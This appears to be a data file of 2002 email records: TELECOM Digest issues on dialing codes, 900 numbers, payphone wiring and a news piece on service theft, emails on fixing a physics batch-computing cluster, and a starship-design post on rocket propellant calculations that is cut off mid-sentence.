ATMs do not have any money in them. Usually when they are installed at festivals there is such a run on them that they run out of money some time well before noon, and then lots of disgruntled patrons start yelling about how they can't get lunch now because the machine has run out of money. People dragging the unit off and smashing it are more likely to be angry people on sugar crashes who cannot get their lunch because the machine has run dry again. --scott ""C'est un Nagra. C'est suisse, et tres, tres precis."" [TELECOM Digest Editor's Note: But it *is* a hazard because those machines are not cheap. One that has been demolished or stolen is a loss to the bank of several thousand dollars, with or without any money inside it. PAT] ------------------------------ From: PaulCoxwell@aol.com Date: Tue, 17 Dec 2002 20:13:49 EST Subject: Re: 011+ From NANP vs. 00+ From Most of World > It's a mess that hasn't really been sorted out since the latest > changes. More than half the population of London still seems to think > they have two area codes (0207 and 0208, replacing the old 0171 and > 0181, replacing the even older 071 and 081) followed by seven-digit > local numbers, rather than a London-wide code, 020, followed by > eight-digit local numbers. The publicity never really got across that It does indeed seem that way. Seeing as local calling within London is now a mandatory 8 digits, it seems strange that so many folks don't seem to get the point. I can only put it down to the fact that (a) people are so accustomed to seven-digit numbers in London that they just can't get used to anything else, and (b) that people were similarly conditioned into seeing area codes of the form 020x before the ""big change"" and that 020 therefore looks strange to them. > considering that everyone has to dial the area code from mobile phones > (and we now have a mobile phone penetration of 70-80% in the UK) I > don't know why we don't just follow the Belgians and (almost) Italians > and move to full code+number dialing. And as is now required for all calls in France as well, where 01, 02, 03, 04, or 05 must be used ahead of the 8-digit number. (The initial zero being replaced with 4, 7 etc. for alternate carriers -- An arrangement which seems rather peculiar from an Anglo-Saxon perspective!) >> as has been mentioned already, in the old network there *were* >> U.K. STD codes starting 00. > Long time ago, though, Paul -- back in the late 1960s, and dropped > when all-figure numbering was introduced. So just as Leeds was 0LE2 > and Leicester was 0LE3, Oxford was 0OX2. The ""O"" in the old UK dial > went with the ""0"", so the Oxford code as equivalent to 0092; but in > around 1968-69 the UK dropped letters in codes. Yes, the 00nx STD codes went years ago. What I wasn't sure of is the exact routing that would have been in place in Ireland. Assuming that there *were* some 00 codes in Northern Ireland (possibly Omagh for one), then it's quite possible that many offices in the Irish Republic originally dropped into a Northern Ireland trunk circuit as soon as the caller dialed 080. If it were done this way, then of course the routing could well have been changed in recent years, but in many of the small SxS offices (which survived in rural Eire until quite recently) there would have been no point in going to the trouble of changing. I just put that forward as a contributory reason for the R.o.I. going for 1800 instead of 0800 for toll free (although I don't dispute that the cross-border advertising of numbers that Richard mentioned was also a major factor). Does anyone have the date for the implementation of 1800 (and 1850) in Ireland? Paul Coxwell, Norfolk, U.K. ------------------------------ From: John Higdon Subject: Re: Are All 900 Number Providers Hype Artists? Organization: Green Hills and Cows Date: Tue, 17 Dec 2002 12:37:48 -0800 In article , nobleGOODDOGgeorges@earthlink.net (J Bass) wrote: > Are there any legitimate 900 number providers? > Who are they? > A google search turned up droves of outfits with hucksteresque > pitches. You were looking at the bottom feeders: folks who set up 900 number bureaus and then look for suckers to lose their shirts in the 900 information providing business. > Where do software companies go, for example, when they are setting up > 900 tech support lines, etc? They go straight to any number of IXCs who offer 900 service. This service is provided on hicap directly to the companies using it, who also have to arrange and manage their own billing arrangements with the LECs or through the IXC itself. Most of the LECs also offer LATA-wide 900 services, as SBC does in California. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: Would you please provide some contact names and phone numbers for the people at the IXCs who offer 900 number service? As the man said in the original message, everyone *he* has spoken to denies any knowledge of them. How about some actual contact names and numbers? PAT] ------------------------------ Date: Tue, 17 Dec 2002 14:59:17 CST From: Sam Etler Subject: Re: Are All 900 Number Providers Hype Artists? (J Bass) nobleGOODDOGgeorges@earthlink.net (J Bass) asked: > Folks, > Are there any legitimate 900 number providers? > Who are they? > A google search turned up droves of outfits with hucksteresque > pitches. > Everyone in the legitimate telecommunication industry seems to claim > no knowledge of 900 numbers, as if it was an irreparably tainted > topic. > Where do software companies go, for example, when they are setting up > 900 tech support lines, etc? The major telecoms will also provide 900 service. AT&T's service is called Multiquest. I'm not sure what the other carriers call it. AT&T specifically doesn't allow people to run ""adult services"". You may have problems going with AT&T though. They announced a while ago that they were getting out of the 900 service market at the end of 2002. Though I've been told they're not turning it all off then by people at AT&T. Probably just not taking new customers. sam ------------------------------ From: Ed Ellers Subject: Re: Taxes and Transfers, was Re: Cell Phone Users to See Increase Date: Tue, 17 Dec 2002 18:19:38 -0500 John R. Levine wrote: > The FAQ at universalservice.org, the company that administers the > USF fund, makes it clear that the USF line on your long distance > bill is unlikely to have much relationship to the actual USF fees > that your carrier pays. But of course in the era of crony > capitalism, how could we take offense at a little profit stuffing at > the public's expense? I wasn't referring to marking up the USF charge -- merely to the dispute over whether or not it should be disclosed to the customer (which I believe it should be). ------------------------------ Date: Tue, 17 Dec 2002 20:48:10 EST From: dhorvath@cobs.com (David B. Horvath, CCP) Subject: Business Directory Entries PAT: feel free to drop this posting if you feel the directory is a waste of time (and bandwidth). Looking to lose a bit of weight before Xmas? > We welcome your phone call! Speak live with a weight > loss coach right now. You may call toll free at > 1- 800- 861- 4650, or you may visit our website. Need some supplies? > call toll free 1-866-237-7397 - David [TELECOM Digest Editor's Note: Okay David, these two final entries for the Business Directory. In the future, why not gather up bunches of them at one time to be submitted. Using emacs or some other editor, chop out everything except the toll free number, and a single line about what it is they offer. Something like this: My Spam, worthless company name 800-555-1212 a little more context. I'll run them for you all as a single 'directory' so people can keep it handy and refer to the whole list when they want to let their fingers do the walking, as Bell used to say in their yellow pages. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #193 ****************************** >From editor@telecom-digest.org Wed Dec 18 01:21:32 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBI6LWc23492; Wed, 18 Dec 2002 01:21:32 -0500 (EST) Date: Wed, 18 Dec 2002 01:21:32 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212180621.gBI6LWc23492@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #194 TELECOM Digest Wed, 18 Dec 2002 01:20:00 EST Volume 22 : Issue 194 Inside This Issue: Editor: Patrick A. Townson Why Pay When it's 'Free'? (Christian Science Monitor via ptownson) Re: Coin Collect and Return (PaulCoxwell@aol.com) Soln: Lucent/AT&T Four Line Analog Phones Won't Release Hold (F. Winans) Cell Phone Location (David Harmon) Query About Pulse Dialing (Sachin) Re: Last Laugh! Black Christmas Lights (Neil McLain) Last Laugh! Heh (Joey Lindstrom) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Tue, 17 Dec 2002 17:15:10 EST From: ptownson@massis.lcs.mit.edu Subject: Why Pay When it's 'Free'? This item was in the CSM on Monday. I thought it interesting and am passing it along for group comment. ptownson@sbcglobal.net has recommended this article from The Christian Science Monitor's electronic edition. Headline: Why pay when it's 'free'? Byline: Noel C. Paul Staff writer of The Christian Science Monitor Date: 12/16/2002 Consumers disgruntled by a fee increase for certain services will often switch to a competitor or cancel. Many, however, are turning to another option: stealing. A host of businesses that facilitate consumer theft have sprung up in recent years, say experts, largely in an effort to attract consumers infuriated by what they perceive to be unfair prices. The businesses primarily sell products that allow consumers to circumvent monthly bills for services such as cable and satellite television. Others offer information on how to avoid paying for home utilities and telephone bills. Combined with consumers' widespread practice of distributing copyrighted music and movies over the Internet, the growing prominence of these ""fraud services"" has given rise to an increasingly pressing question: Are consumers growing more comfortable with committing theft? Several experts believe the answer is yes, even though one result is an increase in fees for consumers who do pay their bills. ""Many people, particularly young adults, don't see it as a right or wrong anymore, but in terms of what is most convenient for them,"" says Paul Witt, a communications professor at the University of Texas at Arlington. The evolution of technology that often gives its users a veil of anonymity is largely responsible for changing consumers' standards, say experts. But people are not committing fraud simply because technology has made it possible. Their acts, say observers, are partly a defense of long-held expectations. For more than 50 years, Americans have been conditioned to expect entertainment services, in particular, that are cheap or free. Many believe that services are now priced so unfairly that theft has become a justifiable form of civil disobedience. ""People have gotten so used to getting things for free [that] they probably should be out there paying for, they've come to believe that that's the way it should be,"" says Bob Kruger, vice president of enforcement for the Washington-based Business Software Alliance (BSA). Theft of cable and other mainstream services is not new, but the degree to which ordinary consumers are stealing appears to be growing, according to observers within several industries. ""These are people who wouldn't necessarily try to do this on [a regular basis],"" says Ellen Silver, product manager of CyberSource, a financial transaction consultancy in Mountain View, Calif. ""This is not their regular lifestyle."" The number of consumers stealing satellite TV service, for example, is expected to grow from 400,000 in 2000 to 5.4 million in 2009, says the Carmel Group, an electronics research group in Carmel, Calif. The utilities, software, and telecommunications industries all report rising incidents of theft. In each of the latter two, the theft results in losses of $10 billion a year. Masking intent? Each of these industries blames the surge, in part, on businesses, primarily Internet-based, that instruct an audience of lay thieves in the art of stealing a particular service, or sell products that help accomplish the task. Cable-descrambler boxes that are engineered to pick up every cable channel available in a given region are widely available online for about $300. Other sites sell similar software for satellite services for $150. These businesses protect themselves against prosecution by posting disclaimers on their websites that say customers must report the use of these products to the local cable or satellite company to avoid breaking the law. But the intent of the sites, many experts maintain, is clearly to sell products that abet consumer theft. ""You could theoretically buy a black box to enhance an old TV, but no one still uses them for that,"" says Marc Smith, spokesperson for the National Cable & Telecommunications Association in Washington. People who would not normally consider stealing are doing so now partly because technology makes it so easy - and makes it seem so harmless. Many end up stealing largely because of their instinct to get as much as they can out of technology. But increasingly, that causes them to run afoul of ethics. One example: networks that give consumers wireless Internet in their home. Such ""Wi-Fi"" networks are so expansive they can sometimes be shared with a neighbor - saving him the cost of broadband Web access - without significantly slowing connections speeds. Many people, particularly young adults, often assume that firms would not allow technology to accomplish a task if it weren't an acceptable use. ""The technology is moving fast, and the legal system and educational system are not keeping up with it,"" says Mr. Kruger. That is one reason the BSA - an organization known for doggedly pursuing prosecution of those who illegally distribute copyrighted software -- recently launched a softer agenda: publishing piracy-education material in ""Weekly Reader"" school magazines. But studies show that even adults minimize the significance of stealing services as opposed to tangible products. In several surveys over the past decade, University of Mississippi marketing professor Scott Vitell found that half of all consumers believe that it is OK to steal a service that can be replicated elsewhere -- like cable programming or digital music. Yet nearly all of those people said stealing a can of soda, for example, was wrong. ""There's some notion that if the original is still available, you haven't done anything wrong [by copying it],"" says Mr. Vitell. Consumers' failure to recognize the value of intellectual property, as opposed to a tangible product, is rooted in historical precedent. ""For most of the 20th century ... consumers grew accustomed to receiving [TV and radio] broadcasts for free, once having made the initial investment in the receiver,"" says Michael Rappa, a professor of technology management at North Carolina State University. The same model was strengthened in the minds of younger consumers when most businesses on the Internet chose not to charge for access to their websites. Consumers have also been given broad rights to save entertainment for future viewing. The most important case: Sony versus Universal City Studios, a 1984 decision that allowed consumers to record TV programming onto VHS cassettes without paying an added fee. Because of this model for access, efforts by companies to charge a fee for entertainment have consistently been met with stiff resistance by many people. Consumer psychologists call this response ""psychological reactance."" Whenever consumers' freedoms are challenged, the theory goes, they will go to great lengths to overcome the loss. A 'right' to free services ""It is particularly true of Americans that whenever you try to take something away from them, they will do whatever they can to restore that freedom,"" says Larry Compeau, director of the Society for Consumer Psychology. ""When you begin to feel it's your right that [these services] should be free, if they start charging, maybe you don't feel any guilt in trying to evade that,"" says Vitell, the marketing professor. The cable industry, for example, loses about $6.8 billion to consumer theft each year. Many experts cite rate increases as a key reason. Cable rates nationwide have jumped 45 percent in the past six years, according to Consumers Union. Rather than sue their own customers, businesses must adapt their own practices so they better fit consumer psychology, experts suggest. ""Folks who sell intellectual property have to adopt models that make accessing entertainment feel virtually free,"" says Michael Carroll, a law professor at Villanova University. One example: Charging customers a one-time subscription fee of $5 to download digital music. Under that scenario, music distributors will be more able to replicate the feeling people expect of unlimited access, without penalties. (c) Copyright 2002 The Christian Science Monitor. All rights reserved. The Christian Science Monitor -- an independent daily newspaper providing context and clarity on national and international news, peoples and cultures, and social trends. Online at http://www.csmonitor.com Order a free sample copy of this newspaper: http://www.csmonitor.com/aboutus/sample_issue.html ------------------------------ From: PaulCoxwell@aol.com Date: Tue, 17 Dec 2002 20:14:00 EST Subject: Re: Coin Collect and Return > Somebody in another forum mentioned that a Verizon tech told him of > payphones which used a third wire from the CO with +/- 70V DC for coin > collect and return. > I've never heard of such a system, and it seems odd to me that a TelCo > would go to the trouble of using a third wire to each coin phone. I > was always under the impression that the most common U.S. method (at > least in the old Bell System) was +/-120V DC applied across one side > of the line and ground. > Has anyone heard of this 3rd-wire 70V arrangement, either in the old > Bell System or in any independents? What other systems have been used > for coin collect/return? > [TELECOM Digest Editor's Note: Long time ago, when telco used three > wires on all phones, the third wire was a connection to ground, when > it was thought necessary to have it that way. In particular, pay > phones all required three wires (one to earth ground) to 'start' the > phone. You can still get a 'ground start' type line if you need it. Pat, Interesting little anecdote about the phone! These old stories are always fascinating. I knew that many coin-phone lines were ground-start, but didn't they just use a local rod for the ground connection rather than running a third wire back to the CO's central ground? I got the impression that this Verizon tech was talking about an actual 3rd wire run right back to the exchange along with the normal pair. Maybe somebody misinterpreted that somewhere along the line. By the way, the U.K. had ground-start on the two-way party lines that were once quite common here for residential lines. Phones on such lines were fitted with a push-button and subscribers were instructed to press it to obtain dialtone, after first checking that the line was not already in use. The ""X"" subscriber's button grounded the ring, the ""Y"" subscriber's button grounded the tip side of the line. Ringing was applied between ring and ground for the ""X"" sub, tip and ground for the ""Y"" sub, and a local rod was used for the ground at each house. Paul Coxwell, Norfolk, U.K. [TELECOM Digest Editor's Note: Every old payphone I have ever seen used a common rod staked into the ground. All the phones in the place went to the common phone box for the building; all the pay phones had their third-wire tied on a common terminal there, and that went to the basement and a rod staked in the earth somewhere. Even single line private phones which require ground start now have something similar. The phone can ring in the usual way for incoming calls, but with no incoming call, the line is totally dead. Not battery but no dial tone, as is common on one-way inbound only phones, but totally dead; no side tone, nothing. A small button on the phone has normally open contacts inside the phone. Press the button, the contacts close for a second or so, and ground comes through, triggers the line and allows dial tone. That third-wire (usually black or yellow in the modular cord since red/green are in normal use for the line) goes down to the phone box on the floor where it meets other similarly situated lines and then a common ground line runs off to the basement or some outside place where it is staked in the ground also. I hear your next question: who needs/wants a ground start line? Maybe someone with a computer on the line which has a voice modem installed in it; or one of those cards used for voicemail on the computer. If the computer freezes or locks up the person does not want the phone line to time out and provide dial tone to the person on the other end. That's just one application. PAT] ------------------------------ From: Frank Winans Subject: Soln: Lucent/AT&T Four Line Analog Phone Won't Release Hold Date: Tue, 17 Dec 2002 19:53:04 -0600 Organization: Airnews.net! at Internet America The most basic feature of multiline phones is 'hold'. I can count on trouble with this after any company move :-( We use analog four-line phones plus one old Panasonic three-line. Turns out only the Panasonic senses the additional voltage drop when another extension picks up, responding with a release of its own 'hold' load on that line. The Lucent 854 phones, though analog, employ digital status information, sent _only_ on the first line! We left line one disconnected since the desks in question only had three telnums avail. To that long long ago poster; sorry about the delay on this. ------------------------------ From: David Harmon Subject: Cell Phone Location Organization: indexed sequential Date: Wed, 18 Dec 2002 03:54:05 GMT Prepaid cell phones are sometimes used by people who do not want their phone usage noticed, logged, etc. Cell phone networks are being upgraded to enable a given phone to be location to be tracked for 911 purposes etc. Will that mean that someone can determine which phone spends a lot of time in a particular location, therefore negating the anonymity of the prepaid phone? ------------------------------ Date: 18 Dec 2002 05:15:53 -0000 From: Sachin Reply-To: Sachin Subject: Query About Pulse Dialing Hello sir, I need the some information (spacs) about the pulse dialing option. In pulse dialing what so PPS rate (Pulses per second) is used in USA? What is the make break ratio used in the USA? Thanks in advance. Regards, sachin Mr. Sachin S Kirdat. Design Engineer[VLSI:Design] Semiconductor Complex Ltd. Chandigarh. Phone :(O) 0172_257401/2/3to10 Ext. 422, 522 (R) 0172_677618 ------------------------------ Date: Tue, 17 Dec 2002 09:01:00 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: Re: Last Laugh! Black Christmas Lights s falke wrote (in response to my comments about black Christmas lights): > For the pervasive vehicularly addicted sort, you can get a ~$1.50 > series-light string, cut out one or more ""12-14 volt"" sections, and > parallel them on the end of a cigar-lighter cord -- e.g., CalRad > 90-607 http://www.ba-electronics.com/tc6111b.jpg or equal, with 3M > ""UG"" jelly splices, and have festive dashboard lighting! > ... guaranteed as distracting as any cell phone. > s falke Well, if you paint the bulbs black, they won't be distracting. Of course, if you accept PAT's theory that black bulbs put out black light, you might get a sunburn. Neal McLain nmclain@annsgarden.com ------------------------------ From: Joey Lindstrom Date: Tue, 17 Dec 2002 14:09:11 -0700 Subject: Last Laugh! Heh Reply-To: joey@lairdsflooring.com On Tue, 17 Dec 2002 15:36:12 -0500 (EST), editor@telecom-digest.org wrote: > [TELECOM Digest Editor's Note: Yeah, and I hope this reaches you also. > I have had about enough of your smart mouth for one day. One person -- > just one! -- is permitted here to send sassy notes out in response to > mail, and you are reading his Note now! :) PAT] My wit must be sharpening - I did all that with just one post, whereas previously I needed 5 or 6 posts per day to get under your skin. :-) Having John Higdon to practice on is a blessing in disguise, I guess... :-) Note to Bob Goudreau: I found that ""right hand drive"" site through Google search before encountering your post here. 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End of TELECOM Digest V22 #194 ******************************",0,1 gilfoyle ,steven james ,"Wed, 27 Nov 2002 16:32:57 -0800",Richmond cluster status,"hi steven, i made the following changes to my scripts. 1. i had the script 'sleep' for 45 seconds after submitting a batch job with the following command. system(""batch -f run_job""); sleep 45; 2. i changed the way i copied the data files over from this perl command system(""bpcp /data2/e5/root/4.232/$data_filename $NODE:/scratch/gilfoyle/e5/$RUNNO/$data_filename""); to this one. system(""bpsh $NODE cp /data2/e5/root/4.232/$data_filename $NODE:/scratch/gilfoyle/e5/$RUNNO/$data_filename""); does this really make a difference?? i tested things in the following ways. 1. i ran my scripts on two data runs for a few events in each run. things worked. 2. i ran them on 12 data runs for 250,000 events in each run. this is where pscm1 hung last week. THIS WORKED! I MAY BE ON THE VERGE OF BEING A HAPPY GUY. 3. i ran my scripts on 50 data runs for 250,000 events in each run. this worked! 4. i ran my scripts on 120 data runs for all the events in each run. this will take many hours, but it looks good so far. 5. went to chicago for thanksgiving. i'll be in touch next week. jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 >From - Mon Dec 2 09:58:37 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gB23xjt16838 for ; Sun, 1 Dec 2002 22:59:45 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by argyle.richmond.edu (8.11.6/8.11.6) with SMTP id gB23xAW26807 for ; Sun, 1 Dec 2002 22:59:10 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002120122590729883 for ; Sun, 01 Dec 2002 22:59:07 -0500 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gB23x6q06721 for ; Sun, 1 Dec 2002 22:59:06 -0500 Received: from h-66-167-144-187.mclnva23.covad.net ([66.167.144.187] helo=mindspring.com) by mclean.mail.mindspring.net with esmtp (Exim 3.33 #1) id 18Ihjd-00077u-00; Sun, 01 Dec 2002 22:59:05 -0500 Sender: gilfoyle@polyester.richmond.edu Message-ID: <3DEB0528.5D4ADD7@mindspring.com> Date: Sun, 01 Dec 2002 23:00:56 -0800 From: gilfoyle Reply-To: ggilfoyl@richmond.edu Organization: University of Richmond Physics Department X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.12 i686) X-Accept-Language: en MIME-Version: 1.0 To: steven james Subject: latest on the Richmond cluster Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Status: X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000 X-UIDL: 38eb267300004451 hi steven, here is the latest. the good news is the cluster seems to be working at some level. some of the behavior is significantly different from before the upgrade so we may still have some issues to resolve. when i last left you i had submitted a large number of jobs (about 115) to run and left for chicago for thanksgiving. things had looked good for smaller numbers of jobs. when i returned only the first 55 jobs had been run. the remaining ones were sitting in the batch queue (used the bbq and atq commands to see this). even more strange was that the first 55 jobs that got submitted were still running root after 3 days!! i killed those jobs by hand (kill -9), the perl scripts finished up, and the jobs in the batch queue remained there and never got started. my questions are the following. 1. is the apparent limit of 55 jobs fixed? can we raise it? it seems reasonable to run two jobs per machine (one per cpu). the 'atd -l ' command looks like it should work (according to the man page). 2. after i killed the long-running root executables, i thought the queued up jobs would get submitted, but they didn't. do you have any idea why? 3. i noticed that root found no good events even when it ran successfully with a smaller number of submitted jobs. this is mysterious since this code and these scripts worked before the upgrade. i will investigate this problem this week. if you have any ideas, please let me know. 4. the last problem i'm having is that i submitted some jobs tonight (sunday) and they immediately go into the 'b' queue and don't get submitted. they are listed under the atq command, but do not appear when i execute the bbq command. this i don't understand. let me know what you think. jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 >From - Mon Dec 2 09:58:40 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gB2D0Ot22106 for ; Mon, 2 Dec 2002 08:00:24 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by argyle.richmond.edu (8.11.6/8.11.6) with SMTP id gB2CvgW03049 for ; Mon, 2 Dec 2002 07:57:43 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002120207574203742 for ; Mon, 02 Dec 2002 07:57:42 -0500 Received: from ucontrol.mobiledns.com (ucontrol.mobiledns.com [216.162.33.29]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gB2Cveq24162 for ; Mon, 2 Dec 2002 07:57:42 -0500 Received: from localhost (pyro@localhost) by ucontrol.mobiledns.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id gB2Cvbk24030 for ; Mon, 2 Dec 2002 07:57:37 -0500 Date: Mon, 2 Dec 2002 07:57:37 -0500 (EST) From: steven james X-Sender: pyro@ucontrol.mobiledns.com To: ggilfoyl@richmond.edu Subject: Re: latest on the Richmond cluster In-Reply-To: <3DEB0528.5D4ADD7@mindspring.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: X-Mozilla-Status: 9011 X-Mozilla-Status2: 00000000 X-UIDL: 38eb267300004458 Greetings, Your /var filesystem is full. At depends on /var to operate. (job output spools there). G'day, sjames On Sun, 1 Dec 2002, gilfoyle wrote: > hi steven, > > here is the latest. > > the good news is the cluster seems to be working at some level. some > of the behavior is significantly different from before the upgrade > so we may still have some issues to resolve. > > when i last left you i had submitted a large number of jobs (about > 115) to run and left for chicago for thanksgiving. things had looked > good for smaller numbers of jobs. when i returned only the first 55 > jobs had been run. the remaining ones were sitting in the batch queue > (used the bbq and atq commands to see this). even more strange was > that the first 55 jobs that got submitted were still running root > after 3 days!! i killed those jobs by hand (kill -9), the perl scripts > finished up, and the jobs in the batch queue remained there and never > got started. my questions are the following. > > 1. is the apparent limit of 55 jobs fixed? can we raise it? it seems > reasonable to run two jobs per machine (one per cpu). the 'atd -l ' > command looks like it should work (according to the man page). > > 2. after i killed the long-running root executables, i thought the > queued up jobs would get submitted, but they didn't. do you have any > idea why? > > 3. i noticed that root found no good events even when it ran > successfully with a smaller number of submitted jobs. this is > mysterious since this code and these scripts worked before the > upgrade. i will investigate this problem this week. if you have any > ideas, please let me know. > > 4. the last problem i'm having is that i submitted some jobs tonight > (sunday) and they immediately go into the 'b' queue and don't get > submitted. they are listed under the atq command, but do not appear > when i execute the bbq command. this i don't understand. > > let me know what you think. > > jerry > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 -----------------------------------------------------------------------",0,1 steven james ,ggilfoyl@richmond.edu,"Wed, 27 Nov 2002 19:15:12 -0500",Re: Richmond cluster status,"Greetings, This is excellent! The reason the cp rather than bpcp matters is that bpcp is unaware of nfs mounts, so the data was going from fileserver to master via NFS, then from master to slave via bpcp, so doubling the network traffic required. NFS can behave badly on a busy network. The sleep was also intended to reduce the number of simultaneous transfers, and appears to have helped a great deal. I hope you have a wonderful Thanksgiving. G'day, sjames On Wed, 27 Nov 2002, gilfoyle wrote: > hi steven, > > i made the following changes to my scripts. > > 1. i had the script 'sleep' for 45 seconds after submitting a > batch job with the following command. > > system(""batch -f run_job""); > sleep 45; > > 2. i changed the way i copied the data files over from this perl command > > system(""bpcp /data2/e5/root/4.232/$data_filename > $NODE:/scratch/gilfoyle/e5/$RUNNO/$data_filename""); > > to this one. > > system(""bpsh $NODE cp /data2/e5/root/4.232/$data_filename > $NODE:/scratch/gilfoyle/e5/$RUNNO/$data_filename""); > > does this really make a difference?? > > i tested things in the following ways. > > 1. i ran my scripts on two data runs for a few events in each run. things > worked. > > 2. i ran them on 12 data runs for 250,000 events in each run. this is where > pscm1 hung > last week. THIS WORKED! I MAY BE ON THE VERGE OF BEING A HAPPY GUY. > > 3. i ran my scripts on 50 data runs for 250,000 events in each run. this worked! > > 4. i ran my scripts on 120 data runs for all the events in each run. this will > take > many hours, but it looks good so far. > > 5. went to chicago for thanksgiving. > > i'll be in touch next week. > > > jerry > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 KellySt@aol.com,"lparker@cacaphony.net, starship-design@lists.uoregon.edu","Thu, 28 Nov 2002 16:00:12 -0500",starship-design: Lox kerosine SSTO numbers,"Subject: LOX/KERO v LOX/LH2 SSTO From: ""Steven S. Pietrobon"" Date: Mon, 23 Jun 1997 09:17:55 +0930 Message-ID: <33ADB9AB.54A2@sworld.com.au> This is a multi-part message in MIME format. [Mod note: I am bending the usual no-MIME encoded messages rule for this one; it's got a postscript ascii document in the second part which is of reasonable, smallish size and which seems to add to the utility of the message quite a bit. Those without MIME capable newsreaders can extract the contents with a text editor if they so desire. Any complaints to gherbert@crl.com - gwh] --------------367E49BE69E4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I think it is worth investigating the use of LOX/KERO as propellants for single stage to orbit (SSTO) vehicles. Attached is a postscript file which shows delta V versus propellant volume/final mass ratio. As can be seen, in terms of propellant volume LOX/KERO (or H2O2/KERO) is significantly better than LOX/LH2 (all the way to orbital speeds of 9000 to 10,000 m/s). The numbers I used were v_e (m/s) d_p (kg/l) MR Mass (kg) Engine H2O2/KERO 3042 1.314 7.2 8755 RD-170 (calculated) LOX/KERO 3305 1.025 2.6 8755 RD-170 LOX/LH2 4441 0.3611 6.0 3177 SSME where v_e is the exhaust speed, d_p is the propellant density, and MR is the mixture ratio. The VentureStar has the following specifications (1 t = 1000 kg) m_e = 89.8 t (empty mass) m_p = 875.0 t (propellant mass) m_c = 26.8 t (cargo mass) m_t = 991.6 t (total liftoff mass) F_s = 13,419 kN (sea level thrust) v_es = 3403 m/s (sea level exhaust speed) v_ev = 4462 m/s (vacuum exhaust speed) V_p = 2423 m^3 (propellant volume) The total delta V for the vehicle is dV = 4462 ln(1+ 875.0/(89.8 + 26.8)) = 9551 m/s The liftoff acceleration (ignoring gravity) is a = F_s/m_t = 13,419/991.6 = 13.53 m/s^2 Let us assume that the propellant volume flow rate through the LOX/KERO and LOX/LH2 engines is constant. Then the liftoff thrust for an equivalent LOX/KERO engine is F_s2 = (d_p2/d_p1) (v_e2/v_e1) F_s1 = (1.025/0.3611) (3032/3403) 13,419 = 33,938 kN The sea level v_e of the RD-170 is 3032 m/s. This thrust is about the same as the Saturn V. Let us assume that the liftoff acceleration is the same, thus m_t2 = F_s2/a = 33,938/13.53 = 2507.8 t Assuming the same delta V (the actual delta V will be lower due to the larger thrust and thus smaller gravity losses) we have 9551 = 3305 ln(1+ m_p2/m_f2) 2507.8 = m_p2 + m_f2 where m_f2 = m_e2 + m_c2. Solving we have m_p2 = 2368.4 t and m_f2 = 139.4 t. The tank volume is V_p2 = 2368.4/1.025 = 2311 m^3 which is 112 m^3 smaller than VentureStar. The final mass of VentureStar is m_f1 = 89.8 + 26.8 = 116.6 t. Thus, the new design will have a final mass that is 22.8 t greater than VentureStar. Unfortunately, this greater mass can not be converted into payload mass since the 